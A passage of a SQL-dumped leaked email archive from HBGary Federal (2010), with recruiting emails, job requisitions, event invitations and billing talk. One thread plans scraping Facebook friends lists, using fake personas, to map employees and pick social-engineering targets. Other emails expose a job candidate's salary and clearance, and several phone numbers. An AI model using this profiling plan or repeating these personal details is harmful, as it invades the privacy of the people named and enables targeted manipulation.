&nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13148,'aaron_hbgary_com/13148.html'),(11059,'2010-08-31','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008475.M374207P14101Q5914.eml','\"Aaron Barr\" <aaron@hbgary.com>','candidate D.A.','Hi Aaron,Just checking in, I have not seen the signed fee agreement yet.&nbsp;Here\'s one I just recruited-Thx-EdI\'ve attached my current resume. &nbsp;I\'m currently making around $115K/year. &nbsp;At this moment I have a TS/SCI w/ a special access clearance. &nbsp;I was debriefed from NSA May, 2008, so I\'m not sure where I stand with the full-scope poly stuff. &nbsp;I don\'t think it\'s active, but someone said it would be no big deal \"re-activating\" it if necessary.Take care,-D.A.D.A.Lives in MDCurrent Salary $115,000Security Clearance: Current Top Secret/SCI SSBI, Counter Intelligence and Lifestyle Polygraph Debriefed 2008.&nbsp;SUMMARY OF&nbsp;QUALIFICATIONSSkilled&nbsp;professional with over 15 years experience within the fields of network&nbsp;security, intrusion detection, computer forensics, and systems administration.Proven&nbsp;problem-solving skills involving information technology system hardware and&nbsp;software configuration.Over&nbsp;350 hours of training in ethical hacking, computer forensics, intrusion&nbsp;analysis and investigations.Diverse&nbsp;technical skills in numerous disciplines including UNIX and Microsoft operating&nbsp;systems.Possess excellent analytical, organizational, and&nbsp;writing skills.Customer service oriented, excel in high profile,&nbsp;stress-filled environments, a strong team player.Determined, self-motivated, flexible, and excellent&nbsp;problem solving skills.Bachelor of Science in Business Management; Dean’s list&nbsp;for academic achievement.Currently completing prerequisites to begin the Masters&nbsp;program in Computer Science from Johns Hopkins University.PROFESSIONAL SKILLS&nbsp;UNIX/Linux:&nbsp;Experienced&nbsp;with FreeBSD, Red Hat Enterprise Linux, Fedora Linux, Solaris.Microsoft:&nbsp;Experienced&nbsp;with Windows 7, XP, 2000 Pro/Server in a multiple domain controller classified&nbsp;setting, Windows 2003 Advanced Server, Active Directory, File/Web/E-mail&nbsp;services.Software/Applications:&nbsp;Skilled with Microsoft Exchange and IIS servers, Nmap, Nessus&nbsp;vulnerability scanner, Metasploit Framework, Tcpdump, Ethereal, Kismet, EnCase&nbsp;Enterprise forensic analysis tool, Forensic Toolkit (FTK),&nbsp;Snort Intrusion&nbsp;Detection System.Hardware:&nbsp;Skilled&nbsp;with PC servers and workstations.&nbsp;&nbsp;Network wiring, switches, hubs.&nbsp;&nbsp;Repair and custom build workstations and servers.Computer Languages:&nbsp;&nbsp;Working knowledge of&nbsp;Perl, PHP, UNIX shell scripting.&nbsp;WORK EXPERIENCE&nbsp;Security Analyst / Penetration Tester&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;2009&nbsp;– PresentTechguard Security&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Linthicum, Maryland·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Performed network and Web application ethical hacking&nbsp;assessments.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Developed custom Perl scripts to help automate password&nbsp;scanning.	• Performed&nbsp;mentoring duties for both military and contractor junior employees.&nbsp;Senior Systems Network Security Engineer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;2008 – 2009SAIC - Goddard Space Flight Center&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Greenbelt,&nbsp;Maryland·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Developed and implemented Perl and UNIX shell scripts&nbsp;to reduce log analysis time by 50%.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Investigated, researched, and documented malware and&nbsp;intrusion attempts discovered via the Snort IDS BASE interface as well as from&nbsp;custom scripts.	• Seized hard&nbsp;disks and performed volatile data captures according to NASA/GSFC incident&nbsp;response procedures.&nbsp;Global Vulnerability and Threat&nbsp;Analyst&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;2007 – 2008Department of Defense – National Security Agency&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Fort&nbsp;Meade, Maryland·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Successfully completed intensive three month Analyst&nbsp;training course.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Configured production Perl scripts to complete&nbsp;organizational goals.&nbsp;Senior Global Network Threat&nbsp;Analyst&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2004 – 2007Eagle Alliance – National Security Agency&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Fort&nbsp;Meade, Maryland·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Customize and implement IDS signatures to reflect&nbsp;dynamic organizational needs.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Developed a Perl script to summarize IDS alerts,&nbsp;reducing alert file analysis by 80%.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Reduced spyware/malicious HTTP activity by 50% via raw&nbsp;network traffic analysis.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Identified numerous vulnerable network printers via a&nbsp;custom Perl port scanner.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Implement secure configuration options for Red Hat&nbsp;Enterprise Linux servers.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Configured Windows 2003 Advanced Server via Microsoft’s&nbsp;2003 Server Security Guide in both a lab and production environment.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Test Microsoft 2000/XP builds for compatibility with&nbsp;network monitoring tools.&nbsp;Systems Administrator&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2000&nbsp;– 2004Computer Sciences&nbsp;Corporation – Goddard Space Flight Center&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Greenbelt,&nbsp;Maryland	• Increased server&nbsp;performance by upgrading 10 Windows NT PDCs/BDCs to Windows 2000 Servers&nbsp;w/Active Directory.&nbsp;&nbsp;Ensured&nbsp;minimal migration downtime.	• Configured and&nbsp;administered Windows 2000 IIS and Exchange servers.	• Recorded and stored&nbsp;security log auditing of workstations and servers.	• Developed system security&nbsp;plan according to DCID 6/3 policies.	• Created project’s TS/SCI&nbsp;Web presence.&nbsp;&nbsp;Included custom&nbsp;graphic design and HTML.&nbsp;IT Coordinator/Helpdesk&nbsp;Technician&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2000NSNL, Inc. - Abt Associates&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Bethesda,&nbsp;Maryland	• Aided over 300 users with&nbsp;various Windows 98/NT software/hardware issues.&nbsp;	• Replaced over 50 aging&nbsp;Windows PC’s via commercial ghosting software.Network Administrator&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1999 – 2000A.I. Solutions, Inc.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Lanham,&nbsp;Maryland	• Administered&nbsp;30 Windows NT and Red Hat Linux workstations and servers.&nbsp;&nbsp;Included software installation and&nbsp;hardware upgrades.	• Reduced&nbsp;external E-mail hosting costs by implementing an in-house Red Hat Linux&nbsp;E-mail server.	• Investigated&nbsp;Red Hat Linux gateway logs regarding possible intrusions.	• Updated&nbsp;over 30 Windows NT workstations to meet Y2K requirements.&nbsp;Computer&nbsp;Specialist/PC Technician&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1991&nbsp;– 1999Department&nbsp;of Justice – Federal Bureau of Investigation&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Washington,&nbsp;D. C.	• Supported&nbsp;24/7 Top Secret command center of over 300 clients via software and&nbsp;hardware troubleshooting and installation.	• Created&nbsp;and implemented unattended installation CDs for over 100 Windows NT&nbsp;workstations.EDUCATION/TRAINING/CERTIFICATIONSTechnical Certifications and Degrees	• GPEN - GIAC Penetration&nbsp;Tester, March 2010	• CEH – Certified Ethical&nbsp;Hacker, May 2008	• CISSP – Certified&nbsp;Information Systems Security Professional #85592, September, 2006	• DCITP – Certified Basic&nbsp;Digital Investigator, May, 2006	• MCP – Windows XP&nbsp;Professional, December, 2005	• Bachelor of Science –&nbsp;Business Management/Information Systems – University of Maryland&nbsp;University College – Adelphi, Maryland, December, 2002	• CCNA – Cisco Certified&nbsp;Network Associate, August, 2001	• MCSE – Microsoft&nbsp;Certified Systems Engineer NT 4.0, August, 1999&nbsp;Other Professional Training	• Department of Defense Computer Investigations Training&nbsp;Program,&nbsp;including:Introduction to&nbsp;Networks and Computer Hardware, Incident Responders Course,Windows Forensic&nbsp;Examinations, Forensics and Intrusions in a Solaris Environment,Forensics and&nbsp;Intrusions in a Linux Environment, EnCase 4 Examinations, Wireless Technology	• SourceFire&nbsp;Network Security Training,&nbsp;including:Snort: Building and&nbsp;Operating a Snort IDS, Snort: Snort Rules	• Guidance&nbsp;Software,&nbsp;Advanced EnCase&nbsp;Enterprise\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence \r\n\r\n',5636,'aaron_hbgary_com/5636.html'),(11060,'2010-08-31','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297008475.M634059P14101Q5915.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: Another Killer Demo','\r\n	For the two breakout spaces, we\'re looking for an integration that\r\nfocuses more on technical data. While I\'d like to talk through this proposed\r\nworkflow some more -- and it\'s certainly appropriate for the demo station\r\nyou guys will have at GovCon -- it may not be right for the breakout\r\nsessions where Steckman and I have to focus our development energy. But\r\nlet\'s walk down the path a little further before we decide anything:\r\n\r\n	Is the idea that we\'d want to ingest all of Facebook\'s data, or just\r\na targeted subset for a few users of interest; possibly using helpers to\r\nreach out to the API\'s? \r\n\r\n	Pete Warden (petesearch.blogspot.com) ran into some issues with\r\ntheir AUP, resulting in a lawsuit, when he crawled most of Facebook\'s social\r\ngraph to build some statistics. I\'d be worried about doing the same. (I\'d\r\nask him for his Facebook data -- he\'s a fan of Palantir -- but he\'s already\r\ndeleted it.)\r\n\r\n	Aaron B, I\'m available most of tomorrow and Thursday afternoon if\r\nyou want to build out the workflow a little. The new cyber ontology has an\r\n\"online account\" type set up by default; we can start by preparing a\r\nFacebook Account subtype and build outward from there. \r\n\r\n	Phone call good enough, or should we set up shop somewhere with data\r\nand laptops? \r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 30, 2010 8:54 AM\r\nTo: Aaron Zollman\r\nCc: Matthew Steckman; Ted Vera; Mark Trynor\r\nSubject: Re: Another Killer Demo\r\n\r\nI think you would be demonstrating something completely new from a security\r\nstandpoint.  Twitter requires no authentication.  Follow anyone you want.\r\nFacebook requires an acknowledgement to be included.  Peoples Facebook\r\nfriends lists are much closer to representing someones actual social circle\r\nthan just another source of information.  This has huge security\r\nconsequences.  My hypothesis is there is an immense amount of information we\r\ncan glean from this information.  I have actually already proven this on a\r\nsmall scale doing research manually.  I have been able to determine people\r\nwho are employees of specific companies even though their profile was\r\ncompletely blocked, except their friends lists.  I correlated friends lists\r\nacross multiple people who I knew were employees of a particular company to\r\ndetermine this.  I also was able to cross this information with Linkedin\r\ninformation and determine people that were in subcontracting relationships\r\nto other companies.  I think all of the facebook information in a Palantir\r\nframework could result in some of the most significant security revelations\r\nrelated to social media yet published.  No more handwaving, but real data to\r\nshow the vulnerabilities.  There is a huge social engineering /targeting\r\npotential here as well.  If I wanted to target a particular organization\r\nwhat groups should I belong to, who are the influencers in the group, who\r\nhas the most connections, etc.\r\n\r\nLets get together to discuss and I can walk you through some of the stuff I\r\nam doing with persona development and social media exploitation.\r\n\r\nAaron\r\nOn Aug 27, 2010, at 2:43 PM, Aaron Zollman wrote:\r\n\r\n> \r\n> 	It\'d be even easier with the graph APIs...\r\n> http://graph.facebook.com/ ... JSON parser & an API key and we could knock\r\n> it out pretty quick. (Someone else\'s facebook account, please, though!)\r\n> \r\n> 	What\'s the workflow we\'d be shooting for, other than as a\r\n> visualization front-end for an organization\'s structure? \r\n> \r\n> \r\n> \r\n> 	I think we\'ve done a twitter presentation at Govcon in the past --\r\n> trying to hunt down the video -- so we wouldn\'t be demonstrating anything\r\n> new just by expanding it to facebook. But that wasn\'t specifically in a\r\n> pen-testing/cybersecurity context. An integration with this and some other\r\n> pen-testing data -- known account identifiers, and data collected from\r\nthem,\r\n> for example -- might be cool. If we could bring in some malware\r\nfingerprint \r\n> data too, and build a whole \"here\'s how we pwned your network\"\r\n> exploration...\r\n> \r\n> 	I\'ve got the OSVDB (vulnerability database integrated), if it\'d be\r\n> helpful.\r\n> \r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, August 26, 2010 11:43 AM\r\n> To: Matthew Steckman\r\n> Cc: Aaron Zollman; Ted Vera; Mark Trynor\r\n> Subject: Re: Another Killer Demo\r\n> \r\n> On the social side here is what I would like to do.  I think between Mark\r\n> and Aaron this could be put together very quickly and would be powerful.\r\n> \r\n> start with a profile in facebook.\r\n> \r\n> http://www.facebook.com/profile.php?id=100001092994636\r\n> \r\n> View the source of that page.  There is all kinds of information we can\r\n> collect and parse to build some very robust social maps.\r\n> Those people that provide information and have their friends lists exposed\r\n> provide an incredible social engineering and recon tool.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n> \r\n>> Brandon is a rockstar!!! Good call.\r\n>> \r\n>> Let us know if you want help on the demo, sounds like it could be really\r\n>> interesting.  We\'d probably love to make a video of is as well to put up\r\n> on\r\n>> our analysis blog (with HBGary branding of course!).\r\n>> \r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantir.com | 202-257-2270\r\n>> \r\n>> Follow @palantirtech\r\n>> Watch youtube.com/palantirtech\r\n>> Attend Palantir Night Live\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Wednesday, August 25, 2010 10:36 PM\r\n>> To: Matthew Steckman\r\n>> Cc: Aaron Zollman\r\n>> Subject: Another Killer Demo\r\n>> \r\n>> Matt,\r\n>> \r\n>> I have been doing talks on social media, have a lot more scheduled, along\r\n>> with some training gigs.  In the process I am setting up a lot of\r\npersonas\r\n>> and doing social media pen testing against organizations.\r\n>> \r\n>> What I have found is there is an immense amount of information peoples\r\n>> friends lists as well as other social media digital artifacts can tell\r\nus.\r\n>> I think Palantir would be an awesome tool to present and use for\r\nanalysis.\r\n>> We are just going to have to get someone to write a helper app.  I am\r\n> hoping\r\n>> to be able to hire Brandon Colston soon.\r\n>> \r\n>> Aaron\r\n> \r\n\r\n',10964,'aaron_hbgary_com/10964.html'),(11061,'2010-08-31','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008475.M936585P14101Q5916.eml','\"Aaron Barr\" <aaron@hbgary.com>','ROMAS Reqs','\r\n\r\n\r\n\r\n\r\nROMAS Reqs\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nThe reqs we discussed are open.&nbsp; Then numbers are&nbsp; as follows:\r\n\r\n118583 Web S/W Developer 5\r\n118580 Web S/W Developer 4\r\n118573 Web S/W Developer 3\r\n118584 Systems Admin 4\r\n118586 Graphics Artist 5\r\n118587 Graphics Artist 4\r\n\r\nPlease pass these onto any folks you think are good matches for ROMAS.&nbsp;\r\n\r\nThanks,\r\n\r\nChris \r\n\r\n\r\n\r\n',2981,'aaron_hbgary_com/2981.html'),(11062,'2010-08-31','\"richcoleman1\" <richcoleman1@gmail.com>','/aaron@hbgary.com/new/1297008476.M253087P14101Q5917.eml','\"richcoleman1\" <richcoleman1@gmail.com>','REMINDER:  Invitation to Cyber Fajitas with Vice Admiral (Ret) Mike McConnell, The Monocle, Wednesday, September 8, 6:00-8:00pm','\r\n\r\n\r\n\r\n\r\n\r\nDear Cyber Security \r\nColleague:&nbsp; \r\n&nbsp;\r\nPlease join us for the next Cyber Fajitas &amp; Margaritas dinner \r\non Wednesday, September 8, 6pm - \r\n8pm.\r\n&nbsp;\r\nOur \r\nspeaker will be Vice Admiral (Ret) Mike McConnell, Executive Vice President of \r\nBooz Allen Hamilton, former Director National Intelligence and former Director, \r\nNational Security Agency.\r\nThe&nbsp;event is being held at THE \r\nMONOCLE (not our traditional fajitas restaurant), 107 D Street, NE, Washington, \r\nDC 202-5456-4488 (on the Senate side, just opposite Russell Senate Office \r\nBuilding, nearest Metro stop is Union Station).&nbsp; This will be a no sponsor \r\ndinner and price is $50 for dinner and iced tea / lemonade.&nbsp; Cash bar. Please RSVP no later \r\nthan Wednesday, September 1, seats are limited.Best regards,Rich \r\nColemanChairman\r\nCyber Fajitas &amp; MargaritasEmail:&nbsp; \r\nrichcoleman1@gmail.comPhone:&nbsp; \r\n703-855-3917\r\n&nbsp;\r\n&nbsp;\r\n',16699,'aaron_hbgary_com/16699.html'),(11063,'2010-08-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008476.M616445P14101Q5918.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: DRAFTY DRAFT/Training brochure','Ok sounds good to me. It&#39;s certainly easier on us from a book keeping perspective. On Aug 30, 2010, at 6:40 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI’m ok with this for Digital Globe, there are no “tax” breaks\r\nfor a 1099, not sure what tax advice she is getting.  She has to pay the taxes\r\nand given her compensation level she won’t be excluded.  Moving forward, we\r\nwant to offer to customers so I’d prefer we sell it under HBGary (increase\r\nrevenue)  \r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, August 30, 2010 2:24 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Aaron Barr\r\nSubject: Re: DRAFTY DRAFT/Training brochure\r\n\r\n\r\n\r\n \r\n\r\nIn speaking with Maria today she&#39;d prefer a 1099 from HBGary\r\nFederal, because of the tax breaks.  What do you think?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn Mon, Aug 30, 2010 at 2:31 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nIs this the final or do you have another\r\none?  I can have other reps take it in.  Have you decided on how to\r\nhandle the re-sale aspect?  The rep will need to know what they will\r\nreceive  If HBGary sells it, we’ll invoice.  So there should be some\r\nmargin.  I think it’s probably easier if we pay the commissions.  Let\r\nme know what discount you want to give and I can figure it out.  Less\r\npaperwork for you\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Friday, August 06, 2010 3:40 PM\r\nTo: Penny Leavy\r\nSubject: DRAFTY DRAFT\r\n\r\n\r\n\r\n \r\n\r\nTraining\r\nBrochure \r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |\r\n ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |\r\n ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15016,'aaron_hbgary_com/15016.html'),(11064,'2010-08-31','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297008481.M643642P14101Q5919.eml','\"Ed Wallach\" <ed@wallachsearch.com>,\"Ed Wallach\" <ed@wallachsearch.com>','Signed agreement',' \r\n\r\nExecuted with Zosh www.zosh.com.\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n',217,'aaron_hbgary_com/217.html'),(11065,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008482.M164982P14101Q5920.eml','\"Ed Wallach\" <ed@wallachsearch.com>','Re: candidate D.A.','Hi Ed,Signed agreement is on its way. &nbsp;Here is what I am currently focused on.Reverse Engineers/Malware Analysts - TS/SCI Full Poly (Virginia)Senior Windows Security Architect - TS/SCI Preferred. (Denver/Colorado Springs, CO)I\'ll look over the resume you just sent.Thanks,AaronOn Aug 30, 2010, at 9:14 PM, Ed Wallach wrote:Hi Aaron,Just checking in, I have not seen the signed fee agreement yet.&nbsp;Here\'s one I just recruited-Thx-EdI\'ve attached my current resume. &nbsp;I\'m currently making around $115K/year. &nbsp;At this moment I have a TS/SCI w/ a special access clearance. &nbsp;I was debriefed from NSA May, 2008, so I\'m not sure where I stand with the full-scope poly stuff. &nbsp;I don\'t think it\'s active, but someone said it would be no big deal \"re-activating\" it if necessary.Take care,-D.A.D.A.Lives in MDCurrent Salary $115,000Security Clearance: Current Top Secret/SCI SSBI, Counter Intelligence and Lifestyle Polygraph Debriefed 2008.&nbsp;SUMMARY OF&nbsp;QUALIFICATIONSSkilled&nbsp;professional with over 15 years experience within the fields of network&nbsp;security, intrusion detection, computer forensics, and systems administration.Proven&nbsp;problem-solving skills involving information technology system hardware and&nbsp;software configuration.Over&nbsp;350 hours of training in ethical hacking, computer forensics, intrusion&nbsp;analysis and investigations.Diverse&nbsp;technical skills in numerous disciplines including UNIX and Microsoft operating&nbsp;systems.Possess excellent analytical, organizational, and&nbsp;writing skills.Customer service oriented, excel in high profile,&nbsp;stress-filled environments, a strong team player.Determined, self-motivated, flexible, and excellent&nbsp;problem solving skills.Bachelor of Science in Business Management; Dean’s list&nbsp;for academic achievement.Currently completing prerequisites to begin the Masters&nbsp;program in Computer Science from Johns Hopkins University.PROFESSIONAL SKILLS&nbsp;UNIX/Linux:&nbsp;Experienced&nbsp;with FreeBSD, Red Hat Enterprise Linux, Fedora Linux, Solaris.Microsoft:&nbsp;Experienced&nbsp;with Windows 7, XP, 2000 Pro/Server in a multiple domain controller classified&nbsp;setting, Windows 2003 Advanced Server, Active Directory, File/Web/E-mail&nbsp;services.Software/Applications:&nbsp;Skilled with Microsoft Exchange and IIS servers, Nmap, Nessus&nbsp;vulnerability scanner, Metasploit Framework, Tcpdump, Ethereal, Kismet, EnCase&nbsp;Enterprise forensic analysis tool, Forensic Toolkit (FTK),&nbsp;Snort Intrusion&nbsp;Detection System.Hardware:&nbsp;Skilled&nbsp;with PC servers and workstations.&nbsp;&nbsp;Network wiring, switches, hubs.&nbsp;&nbsp;Repair and custom build workstations and servers.Computer Languages:&nbsp;&nbsp;Working knowledge of&nbsp;Perl, 